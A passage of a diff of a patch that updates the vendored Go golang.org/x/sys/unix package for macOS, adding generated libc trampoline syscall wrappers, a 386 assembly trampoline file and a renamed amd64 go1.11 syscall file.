-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_ptrace_trampoline()
-+
-+//go:linkname libc_ptrace libc_ptrace
-+//go:cgo_import_dynamic libc_ptrace ptrace "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
-- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_gettimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int32(r0)
- usec = int32(r1)
- if e1 != 0 {
-@@ -1607,3 +2366,134 @@ func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
- }
- return
- }
-+
-+func libc_gettimeofday_trampoline()
-+
-+//go:linkname libc_gettimeofday libc_gettimeofday
-+//go:cgo_import_dynamic libc_gettimeofday gettimeofday "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstat64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstat64_trampoline()
-+
-+//go:linkname libc_fstat64 libc_fstat64
-+//go:cgo_import_dynamic libc_fstat64 fstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fstatat64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatat64_trampoline()
-+
-+//go:linkname libc_fstatat64 libc_fstatat64
-+//go:cgo_import_dynamic libc_fstatat64 fstatat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstatfs64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatfs64_trampoline()
-+
-+//go:linkname libc_fstatfs64 libc_fstatfs64
-+//go:cgo_import_dynamic libc_fstatfs64 fstatfs64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getfsstat64_trampoline), uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getfsstat64_trampoline()
-+
-+//go:linkname libc_getfsstat64 libc_getfsstat64
-+//go:cgo_import_dynamic libc_getfsstat64 getfsstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_lstat64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_lstat64_trampoline()
-+
-+//go:linkname libc_lstat64 libc_lstat64
-+//go:cgo_import_dynamic libc_lstat64 lstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_stat64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_stat64_trampoline()
-+
-+//go:linkname libc_stat64 libc_stat64
-+//go:cgo_import_dynamic libc_stat64 stat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_statfs64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_statfs64_trampoline()
-+
-+//go:linkname libc_statfs64 libc_statfs64
-+//go:cgo_import_dynamic libc_statfs64 statfs64 "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.s
-new file mode 100644
-index 00000000..6836a412
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.s
-@@ -0,0 +1,284 @@
-+// go run mkasm_darwin.go 386
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.12
-+
-+#include "textflag.h"
-+TEXT ·libc_getgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgroups(SB)
-+TEXT ·libc_setgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgroups(SB)
-+TEXT ·libc_wait4_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_wait4(SB)
-+TEXT ·libc_accept_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_accept(SB)
-+TEXT ·libc_bind_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_bind(SB)
-+TEXT ·libc_connect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_connect(SB)
-+TEXT ·libc_socket_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socket(SB)
-+TEXT ·libc_getsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockopt(SB)
-+TEXT ·libc_setsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsockopt(SB)
-+TEXT ·libc_getpeername_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpeername(SB)
-+TEXT ·libc_getsockname_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockname(SB)
-+TEXT ·libc_shutdown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_shutdown(SB)
-+TEXT ·libc_socketpair_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socketpair(SB)
-+TEXT ·libc_recvfrom_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvfrom(SB)
-+TEXT ·libc_sendto_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendto(SB)
-+TEXT ·libc_recvmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvmsg(SB)
-+TEXT ·libc_sendmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendmsg(SB)
-+TEXT ·libc_kevent_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kevent(SB)
-+TEXT ·libc_utimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_utimes(SB)
-+TEXT ·libc_futimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_futimes(SB)
-+TEXT ·libc_poll_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_poll(SB)
-+TEXT ·libc_madvise_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_madvise(SB)
-+TEXT ·libc_mlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlock(SB)
-+TEXT ·libc_mlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlockall(SB)
-+TEXT ·libc_mprotect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mprotect(SB)
-+TEXT ·libc_msync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_msync(SB)
-+TEXT ·libc_munlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlock(SB)
-+TEXT ·libc_munlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlockall(SB)
-+TEXT ·libc_getattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getattrlist(SB)
-+TEXT ·libc_pipe_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pipe(SB)
-+TEXT ·libc_getxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getxattr(SB)
-+TEXT ·libc_fgetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fgetxattr(SB)
-+TEXT ·libc_setxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setxattr(SB)
-+TEXT ·libc_fsetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsetxattr(SB)
-+TEXT ·libc_removexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_removexattr(SB)
-+TEXT ·libc_fremovexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fremovexattr(SB)
-+TEXT ·libc_listxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listxattr(SB)
-+TEXT ·libc_flistxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flistxattr(SB)
-+TEXT ·libc_setattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setattrlist(SB)
-+TEXT ·libc_fcntl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fcntl(SB)
-+TEXT ·libc_kill_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kill(SB)
-+TEXT ·libc_ioctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ioctl(SB)
-+TEXT ·libc_sysctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sysctl(SB)
-+TEXT ·libc_sendfile_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendfile(SB)
-+TEXT ·libc_access_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_access(SB)
-+TEXT ·libc_adjtime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_adjtime(SB)
-+TEXT ·libc_chdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chdir(SB)
-+TEXT ·libc_chflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chflags(SB)
-+TEXT ·libc_chmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chmod(SB)
-+TEXT ·libc_chown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chown(SB)
-+TEXT ·libc_chroot_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chroot(SB)
-+TEXT ·libc_clock_gettime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_clock_gettime(SB)
-+TEXT ·libc_close_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_close(SB)
-+TEXT ·libc_dup_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup(SB)
-+TEXT ·libc_dup2_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup2(SB)
-+TEXT ·libc_exchangedata_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exchangedata(SB)
-+TEXT ·libc_exit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exit(SB)
-+TEXT ·libc_faccessat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_faccessat(SB)
-+TEXT ·libc_fchdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchdir(SB)
-+TEXT ·libc_fchflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchflags(SB)
-+TEXT ·libc_fchmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmod(SB)
-+TEXT ·libc_fchmodat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmodat(SB)
-+TEXT ·libc_fchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchown(SB)
-+TEXT ·libc_fchownat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchownat(SB)
-+TEXT ·libc_flock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flock(SB)
-+TEXT ·libc_fpathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fpathconf(SB)
-+TEXT ·libc_fsync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsync(SB)
-+TEXT ·libc_ftruncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ftruncate(SB)
-+TEXT ·libc_getdtablesize_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getdtablesize(SB)
-+TEXT ·libc_getegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getegid(SB)
-+TEXT ·libc_geteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_geteuid(SB)
-+TEXT ·libc_getgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgid(SB)
-+TEXT ·libc_getpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgid(SB)
-+TEXT ·libc_getpgrp_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgrp(SB)
-+TEXT ·libc_getpid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpid(SB)
-+TEXT ·libc_getppid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getppid(SB)
-+TEXT ·libc_getpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpriority(SB)
-+TEXT ·libc_getrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrlimit(SB)
-+TEXT ·libc_getrusage_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrusage(SB)
-+TEXT ·libc_getsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsid(SB)
-+TEXT ·libc_getuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getuid(SB)
-+TEXT ·libc_issetugid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_issetugid(SB)
-+TEXT ·libc_kqueue_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kqueue(SB)
-+TEXT ·libc_lchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lchown(SB)
-+TEXT ·libc_link_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_link(SB)
-+TEXT ·libc_linkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_linkat(SB)
-+TEXT ·libc_listen_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listen(SB)
-+TEXT ·libc_mkdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdir(SB)
-+TEXT ·libc_mkdirat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdirat(SB)
-+TEXT ·libc_mkfifo_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkfifo(SB)
-+TEXT ·libc_mknod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mknod(SB)
-+TEXT ·libc_open_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_open(SB)
-+TEXT ·libc_openat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_openat(SB)
-+TEXT ·libc_pathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pathconf(SB)
-+TEXT ·libc_pread_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pread(SB)
-+TEXT ·libc_pwrite_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pwrite(SB)
-+TEXT ·libc_read_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_read(SB)
-+TEXT ·libc_readlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlink(SB)
-+TEXT ·libc_readlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlinkat(SB)
-+TEXT ·libc_rename_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rename(SB)
-+TEXT ·libc_renameat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_renameat(SB)
-+TEXT ·libc_revoke_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_revoke(SB)
-+TEXT ·libc_rmdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rmdir(SB)
-+TEXT ·libc_lseek_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lseek(SB)
-+TEXT ·libc_select_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_select(SB)
-+TEXT ·libc_setegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setegid(SB)
-+TEXT ·libc_seteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_seteuid(SB)
-+TEXT ·libc_setgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgid(SB)
-+TEXT ·libc_setlogin_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setlogin(SB)
-+TEXT ·libc_setpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpgid(SB)
-+TEXT ·libc_setpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpriority(SB)
-+TEXT ·libc_setprivexec_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setprivexec(SB)
-+TEXT ·libc_setregid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setregid(SB)
-+TEXT ·libc_setreuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setreuid(SB)
-+TEXT ·libc_setrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setrlimit(SB)
-+TEXT ·libc_setsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsid(SB)
-+TEXT ·libc_settimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_settimeofday(SB)
-+TEXT ·libc_setuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setuid(SB)
-+TEXT ·libc_symlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlink(SB)
-+TEXT ·libc_symlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlinkat(SB)
-+TEXT ·libc_sync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sync(SB)
-+TEXT ·libc_truncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_truncate(SB)
-+TEXT ·libc_umask_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_umask(SB)
-+TEXT ·libc_undelete_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_undelete(SB)
-+TEXT ·libc_unlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlink(SB)
-+TEXT ·libc_unlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlinkat(SB)
-+TEXT ·libc_unmount_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unmount(SB)
-+TEXT ·libc_write_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_write(SB)
-+TEXT ·libc_mmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mmap(SB)
-+TEXT ·libc_munmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munmap(SB)
-+TEXT ·libc_ptrace_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ptrace(SB)
-+TEXT ·libc_gettimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_gettimeofday(SB)
-+TEXT ·libc_fstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstat64(SB)
-+TEXT ·libc_fstatat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatat64(SB)
-+TEXT ·libc_fstatfs64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatfs64(SB)
-+TEXT ·libc_getfsstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getfsstat64(SB)
-+TEXT ·libc_lstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lstat64(SB)
-+TEXT ·libc_stat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_stat64(SB)
-+TEXT ·libc_statfs64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_statfs64(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_11.go
-similarity index 85%
-copy from vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_11.go
-index 07c6ebc9..f8e5c37c 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_11.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm64 syscall_bsd.go syscall_darwin.go syscall_darwin_arm64.go
-+// go run mksyscall.go -tags darwin,amd64,!go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_amd64.1_11.go syscall_darwin_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm64
-+// +build darwin,amd64,!go1.12
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_GETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +372,161 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := Syscall6(SYS_FLISTXATTR, uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
